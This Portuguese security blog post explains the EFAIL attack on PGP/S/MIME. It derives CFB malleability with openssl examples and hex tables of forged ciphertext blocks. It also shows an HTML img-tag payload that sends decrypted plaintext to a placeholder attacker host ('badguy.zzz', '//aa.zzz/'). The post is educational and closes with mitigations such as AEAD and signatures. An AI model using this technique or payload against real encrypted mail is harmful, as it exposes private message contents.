EFAIL: MALEABILIDADE EM SISTEMAS DE CRIPTOGRAFIA SIMÉTRICA

No post anterior sobre Efail (https://www.s21sec.com/pt/blog/2018/08/efail-estara-pgp-efetivamente-morto/) falámos sobre o risco associado ao facto do PGP utilizar um algoritmo de criptografia “maleável.” Mas o que isso significa?

A segunda entrada da definição de “maleável” da Real Academia Espanhola é surpreendentemente aplicável a este caso: “Que possa ser dada outra forma sem quebrá-la.”

Neste post vamos ver como é possível modificar um texto cifrado de tal forma que possamos dar-lhe outra forma (isto é, será decifrado para um texto mais ou menos controlado por nós) sem quebrá-lo (ou o que é o mesmo, sem precisar de conhecer a chave), algo que, em certos casos, nos permitirá decifrar o próprio receptor de mensagens.

Em primeiro lugar, devemos entender que os algoritmos de criptografia de bloco (como usados no PGP) não são normalmente usados diretamente, porque, na sua natureza, o resultado da criptografia de um texto com a mesma chave devolve sempre o mesmo texto cifrado. Tal permite que um atacante detecte padrões na mensagem cifrada que correspondem a padrões semelhantes no texto original.

Para evitar esta situação, são realizadas operações adicionais para incluir recursos específicos no texto cifrado. As operações a realizar são definidas numa série de “modos de operação”. O modo utilizado nas operações de criptografia do PGP é o CFB (para S/MIME é CBC que, embora seja diferente, tem o mesmo problema que veremos abaixo para CFB). Cada bloco de texto cifrado passa por um XOR junto com o bloco de texto cifrado acima, sendo cifrado novamente com a chave (sim, ironicamente, a decifra no modo CFB não usa o algoritmo AES, mas cifra novamente). O resultado dessa operação XOR é o texto original. Como o primeiro bloco de texto crifrado não possui um bloco anterior, por definição, é utilizado um vetor de inicialização (IV ou “vetor de inicialização”). Este valor é enviado em claro. O gráfico seguinte foi extraído do artigo da Wikipédia sobre os modos de operação em inglês (https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ) :

Uma coisa que pode ser vista no gráfico acima é que a decifra correta de um determinado bloco de texto cifrado depende apenas de si mesmo e do bloco cifrado anterior. Se esse bloco anterior for o esperado, o bloco atual será decifrado corretamente. Neste contexto, o “bloco anterior” do primeiro bloco cifrado é o IV. Isso implica que, se pegarmos em dois blocos consecutivos de uma mensagem cifrada e os copiarmos em qualquer ponto da mensagem, pelo menos o segundo bloco será decifrado corretamente (desde que usemos a chave correta, claro).

O próximo passo é demonstrar que esse modo de operação é maleável e como podemos usá-lo para extrair informações da mensagem cifrada. Se interceptarmos uma mensagem PGP cifrada, encontraremos (entre outros) os seguintes dados:

A mensagem cifrada com uma chave simétrica
A chave simétrica, cifrada com a chave pública (RSA, ElGamal …) do receptor
O vetor de inicialização IV, não cifrado.

O receptor é capaz de decifrar a chave simétrica porque possui a chave privada correspondente e, com essa chave simétrica e o vetor de inicialização, pode decifrar a mensagem. Mas um atacante não tem a chave privada e, sem a chave simétrica, não deve ser capaz de decifrar a mensagem, mesmo conhecendo o vetor de inicialização. No entanto, existem algumas operações que o atacante pode executar sem precisar conhecer a chave simétrica. Para o verificar, vamos trabalhar com o openssl, que permite a criptografia AES-CFB, e cuja saída é mais fácil de manipular e ver os resultados do que usando S/MIME ou PGP. Primeiro, vamos selecionar um texto para cifrar. Por exemplo, as primeiras frases de “Moby Dick” em inglês:

Geramos informações aleatórias, guardamo-las num arquivo a partir do qual o openssl obterá a chave que será usada para cifrar a mensagem. Esses dados não serão ensinados nos exemplos a seguir, para mostrar que o seu conhecimento não é necessário para realizar os ataques.

Usaremos um Iv de tamanho de 16 bytes e de fácil identificação. Esta informação é conhecida pelo atacante, portanto ao utilizar um valor completamente aleatório só complicaríamos os exemplos (não o ataque em si). Com a chave e o IV, podemos finalmente cifrar a mensagem.

Neste caso, pedimos ao openssl especificamente para não usar “salt” (-nosalt). Esta não é uma maneira segura de usar o comando “enc”, mas é mais semelhante ao modo como o PGP e o S/MIME atuam, nos quais uma chave é especificada (em vez de ser gerada a partir de informações armazenadas num arquivo). , como é o caso de “enc”).

Se descarregarmos o arquivo, poderemos ver o conteúdo da mensagem cifrada:

Caso tenha solicitado ao openssl para usar “salt”, este valor teria sido incluído no próprio arquivo, o que teria complicado um pouco mais o entendimento do ataque (embora não sua execução). A saída do programa “xxd” alinha convenientemente a saída em linhas de 16 bytes, o que é bom para nós. Como o tamanho do bloco para AES-128-CFB é exatamente 16 bytes (128 bits), neste caso cada linha corresponde a um bloco cifrado, o que facilita a compreensão do exemplo. Mesmo se usarmos a ferramenta “xxd” na mensagem original, podemos ver a repartição da mensagem original em blocos, já que cada linha corresponde a um bloco diferente:

Podemos usar o openssl novamente para verificar se o texto cifrado é decifrado para o texto esperado:

Vamos supor agora que o atacante deseja modificar a mensagem. O único requisito, como veremos, é que conheça o conteúdo de um bloco completo da mensagem original. O que pode parecer complicado, é facilitado pelo fato de que, em muitos casos, as mensagens cifradas pelo PGP começam com uma série de cabeçalhos mais ou menos constantes, de modo que ao saber qual programa foi usado para criar a mensagem cifrada, é possível calcular o conteúdo original dos primeiros 16 bytes da mensagem (um bloco inteiro). Neste caso, vamos supor que o atacante sabe que a mensagem começa com o texto “Call me Ishmael” (exatamente 16 bytes, a primeira linha do resultado de “xxd” para a mensagem original).

Voltando ao diagrama do processo de decifra CFB, o primeiro bloco de texto decifrado (que chamaremos de P1) é obtido cifrando o IV e aplicando um XOR com o primeiro bloco de texto cifrado (que chamaremos de C1). Assim sendo:

P1 = E (IV) ⊕ C1

Onde E (IV) é o resultado da cifra do IV (um valor que o atacante sabe) com a chave simétrica (um valor que é desconhecido), e ⊕ é a operação XOR. Se o invasor quiser que um bloco de texto diferente seja decifrado, chamado P * 1, ele pode simplesmente modificar o primeiro bloco da mensagem cifrada (a primeira linha do dump hexadecimal), substituindo-o por um bloco C * 1 modificado, de forma que:

P*1 = E (IV) ⊕ C*1

Mas se não sabe a chave … como pode calcular E (IV), de que modo pode calcular o valor que deve usar como C * 1? A realidade é que não é necessário. Se aplicarmos um XOR entre as duas expressões anteriores (a parte esquerda de uma com a parte esquerda da outra e a parte direita de uma com a parte direita da outra) obtemos:

P1 ⊕ P*1 = E(IV) ⊕ C1 ⊕ E(IV) ⊕ C*1

E quando numa série de operações XOR existem dois termos iguais (como neste caso, em que E (IV) é repetido duas vezes no lado direito), cancelam-se um ao outro, então:

P1 ⊕ P*1 = C1 ⊕ C*1

E se movermos C1 do lado direito para o lado esquerdo (assim como numa equação normal, pode mover uma soma para o outro lado transformando-a numa subtração, no caso de um XOR se mover para o outro lado como outra operação XOR):

P1 ⊕ P*1 ⊕ C1 = C*1

Tendo em conta que o atacante sabe o valor de P1 (é o requisito do ataque), que sabe P * 1 (é o conteúdo que ele quer injetar na mensagem decifrada) e C1 porque faz parte da mensagem cifrada que ele interceptou, ele pode executar Operações XOR nos dados que você conhece e calcular C * 1, o bloco modificado que precisa de incluir na mensagem cifrada.

Vamos então dar um exemplo prático. Nós não somos grandes fãs de literatura, logo, não somos fãs de “Moby Dick”. Gostamos mais de filmes de espionagem, então vamos substituir o primeiro bloco de texto decifrado pela famosa frase “My name is Bond”. Observe que o comprimento é exatamente o mesmo que o texto original (16 bytes).

Portanto, podemos escrever a expressão anterior como:

D1 = P1 ⊕ P*1

Podemos resumir os valores dos diferentes blocos numa tabela (P1 e P * 1 são mostrados como caracteres e os valores ASCII correspondentes):

P1 C a l l m e I s h m a e l .
P1 43 61 6C 6C 20 6D 65 20 49 73 68 6D 61 65 6C 2E
P*1 M y n a m e i s B o n d .
P*1 4D 79 20 6E 61 6D 65 20 69 73 20 42 6F 6E 64 2E
D1 0E 18 4C 02 41 00 00 00 20 00 48 2F 0E 0B 08 00
C1 98 F1 30 9E 60 0B 7D F8 CE C9 1F 85 27 AC 7C 80
C*1 96 E9 7C 9C 21 0B 7D F8 EE C9 57 AA 29 A7 74 80

 

O bloco modificado tem os mesmos valores exatos do original nas posições em que o texto original não cirado e o texto modificado correspondem (a parte “eu”, um “s” e o ponto final). Se substituirmos o primeiro bloco cifrado por esses valores e guardarmo-lo num arquivo diferente:

Onde o bloco de criptografia modificado é aquele que está marcado. Se o decifrarmos com openssl:

Conseguimos gerar uma mensagem cifrada que, após ser decifrada, contém um texto que controlamos, com o problema de que o próximo bloco está corrompido (neste caso, o segundo). Isso ocorre porque a decifra do segundo bloco requer o primeiro bloco original à frente, e nós removemo-lo de modo a incluir o bloco modificado que calculámos.

Mas, se nos lembrarmos do processo de decodificação, a decodificação correta de um bloco depende apenas do bloco anterior, e não da sua posição real. Portanto, podemos adicionar o primeiro bloco logo antes do segundo, e o primeiro antes do primeiro bloco (ou seja, o IV) na frente dele, tendo o seguinte arquivo:

Vemos que temos o bloco cifrado modificado, seguido pelo IV e pela mensagem cifrada original. Se decifrarmos a mensagem obtemos:

Algum texto que controlamos, um bloco corrompido e o texto original. Infelizmente (para um atacante) não é possível livrar-se dos blocos corrompidos. Estes aparecem em qualquer ponto em que quebramos a continuidade da sequência original de blocos cifrados. Neste caso, como incluímos o bloco modificado no início, o bloco corrompido aparece apenas atrás dele. No entanto, o mesmo bloco modificado pode ser incluído no meio do texto e no final (é claro, sempre precedido pelo IV, que é o seu “bloco anterior”). Por exemplo, para o ficheiro:

Podemos ver que inserimos o texto cifrado modificado em três pontos, cada um dos quais é precedido pelo IV (mesmo o primeiro desde que o IV para openssl é como o bloco 0). Se o decifrarmos, obtemos o seguinte:

Vemos o texto repetido em três sítios: no início, seguido por um bloco corrompido, no meio, precedido por um bloco corrompido e seguido por outro, e no final, precedido por um bloco mais corrompido.

Se eliminarmos os blocos corrompidos e aqueles que inserimos de propósito, ainda teremos o texto original. No entanto, estamos a decifrar os dados em vários pontos do processo, por isso ainda não está claro quais ações praticadas pelo potencial atacante e pelo destinatário da mensagem.

O próximo passo é tentar seguir o processo de um atacante tentando explorar essa vulnerabilidade. Lembre-se da situação. Interceptou uma mensagem com um IV conhecido, mas a chave simétrica é cifrada com uma chave pública cuja chave privada é desconhecida e uma mensagem cifrada com a chave simétrica desconhecida, da qual apenas o primeiro bloco é conhecido (os primeiros 16 bytes).

O seu objetivo é enviar uma mensagem modificada que mantém o IV e a chave simétrica cifrada de tal forma que, quando a mensagem é decifrada pelo receptor, é gerada uma ação automaticamente, permitindo extrair informações sobre os dados sem cifrar. Para enfatizar que este não sabe nada sobre a mensagem original (além dos dados cifrados, do IV e do primeiro bloco original), geraremos uma nova chave, que cifrará uma nova mensagem e excluirá o arquivo original sem cifrá-lo.

Como no IV, usamos o mesmo que antes para simplificar. Para gerar os blocos de cifras modificados, precisamos conhecer dois blocos cifrados consecutivos e o texto original do segundo. Ao longo deste post, assumimos que o par de blocos é [IV, C1] porque é mais fácil adivinhar o conteúdo do primeiro bloco, uma vez que certamente conterá cabeçalhos, mas poderíamos ter feito o mesmo com qualquer par [Ci-1, Ci ], desde que saibamos Pi. Neste exemplo, usaremos novamente o par [IV, C1], logo, a única informação que o atacante tem é que os primeiros 16 bytes da mensagem (o bloco P1) são “For twelve thous” .

Se descarregarmos o conteúdo da mensagem:

E o primeiro bloco cifrado (aquele para o qual sabemos seu texto original) é aquele que é destacado. Com essa informação, o atacante está pronto para executar o ataque.

Depois de ler o post anterior sobre efail, vemos que o atacante tentará preparar uma mensagem cifrada que é mais ou menos decifrada numa mensagem HTML como a seguinte:

<html>
<body>
<img src=”http://badguy.zzz/images/[ORIGINAL_PLAINTEXT].jpg”/>
</body>
</html>

Não que “badguy.zzz” exista como um domínio, mas nós não queríamos escolher um domínio existente ao acaso … Então, quando o receptor decifra a mensagem, o cliente de e-mail fará uma solicitação para recuperar uma imagem num servidor controlado pelo atacante. Obviamente, essa imagem não existe, mas a solicitação será registada e o atacante terá acesso ao texto original (a mensagem não cifrada que excluímos).

O maior problema para o atacante é que ele só pode incluir blocos de 16 bytes, e deve levar em consideração que os blocos corrompidos aparecerão antes e depois de cada bloco que ele incluir. Isso pode ser feito, mas a mensagem é mais assim:

<html>
<body>
[CORRUPT_DATA] <img ignore=”[CORRUPT_DATA]”
src=”//aa.zzz/[CORRUPT_DATA][ORIGINAL_PLAINTEXT][CORRUPT_DATA].jpg”/>
[CORRUPT_DATA] </body>
</html>

 

Neste exemplo, nem todos os blocos controlados pelo atacante são de 16 bytes. Num ataque real seriam, mas eliminamos ou adicionamos espaços em branco e quebras de linha para tornar o conteúdo mais visível.

Era necessário usar um padrão de URL conhecido como “protocolo relativo” porque, caso contrário, não haveria espaço suficiente para o protocolo e o nome do host.

Portanto, o atacante precisa de 5 blocos modificados. Aqui está uma tabela com o texto original do bloco 1 e os 5 textos não cifrados que queremos inserir na mensagem maliciosa:

P1 F o r t w e l v e t h o u s
P*1 < h t m l > \n < b o d y > \n \n \n
P*2 < i m g i g n o r e = “
P*3 “ s r c = “ / / a a . z z z /
P*4 . j p g “ / > \n
P*5 < / b o d y > \n < / h t m l > \n

Ao realizar as mesmas operações que realizamos durante os testes, o atacante pode calcular os blocos modificados para cada um deles:

C*1 EA E0 21 27 E9 9A 1F 93 E8 E2 98 F2 A0 FD 87 64
C*2 EA E1 38 2D A5 CD 72 C1 E5 FF 99 B6 BC D7 AD 4E
C*3 F4 A8 26 38 E6 99 37 80 A5 EC 9D A5 E4 8D F7 41
C*4 F8 E2 25 2D A7 8B 2B 8F AA AD DC AB BE D7 AD 64
C*5 EA A7 37 25 E1 DD 2B A5 B6 A2 94 FF F3 9B B3 64

Com esses blocos modificados e sabendo que cada bloco modificado e o texto cifrado original devem ser precedidos pelo IV, pode ser gerada uma mensagem cifrada com o seguinte conteúdo:

Esta mensagem será enviada para o destinatário original, juntamente com o IV e a chave cifrada. O receptor decifra a mensagem e recebe uma mensagem em HTML, mas a única coisa que vê é algo assim:

Dados estranhos que incluem uma imagem que não pôde ser descarregada. Mas, ao mesmo tempo, o atacante recebe uma solicitação no seu servidor:


A partir da qual pode extrair a solicitação e executar uma decodificação de URL para obter o texto desconhecido original:

Portanto, mesmo que o atacante não tenha acesso à chave (unknown_message.key não foi usado nesta parte do post) ou o texto original (além do primeiro bloco, unknown_message.txt não foi usado), conseguiu criar uma mensagem que, depois de ser aberta pelo destinatário, executa um pedido para um servidor que o atacante controla, no qual o texto original que ele não conhecia lhe é facultado.

O maior problema com Efail é que é uma vulnerabilidade que, por si só, não surge de um único software, portanto, decidir de quem é a falha tornou-se mais num problema filosófico.

Por exemplo, se o destinatário usar um programa que não interprete HTML automaticamente, será muito mais difícil para o atacante criar uma mensagem simulada que o destinatário queira ver voluntariamente como HTML. Se o receptor tiver que decifrar a mensagem e visualizá-la como texto antes de decidir que quer vê-la como HTML, iria parecer-lhe muito suspeito o grande número de blocos corrompidos que aparecem (sem levar em conta que com um pouco de visão perceberia que existe o texto decifrado dentro de um URL).

O problema também teria sido resolvido se o PGP tivesse usado um modo diferente de operação. Existem vários modos de operação que fornecem um recurso chamado AE (Criptografia Autenticada) ou até mesmo AEAD (Criptografia Autenticada com Dados Associados). Esses modos incluem durante a própria criptografia um processo de geração de um rótulo dependente do conteúdo original. Essa tag pode ser usada durante a decifra para verificar a validade dos dados. Nesse caso, o atacante não pode modificar os dados de nenhuma forma, pois qualquer modificação da mensagem cifrada invalida a tag associada e o atacante não pode corrigir essa discrepância sem conhecer a chave. Esse processo é semelhante a incluir um “hash” dos dados para detectar modificações, mas com a vantagem de que a verificação está implícita na própria decifra, dificultando ataques do tipo oracle. Um exemplo desses modos seria o AES-GCM (Galois Counter Mode). Por exemplo, o TLS 1.3 exigirá que qualquer algoritmo de criptografia suportado forneça o AEAD.

E por último, mas não menos importante, outro método semelhante que teria evitado esse ataque seria aquele que envia a mensagem cifrada original assina (além de encriptá-lo) e que o receptor nunca confia em mensagens não assinadas, mesmo que pareça vir de um conhecido (simular e-mails não assinados é bem simples hoje em dia). Desta forma, de modo semelhante ao AEAD, o programa detectaria que os dados modificados não coincidem com a assinatura e teria rejeitado a mensagem.

Em resumo, como dissemos no post anterior, não é que o PGP tenha sido quebrado. Com algum conhecimento de como o Efail funciona e sendo cuidadoso ao lidar com mensagens não assinadas e não verificadas, seria muito difícil extrair informações sobre o texto original por essa via.

Recent Posts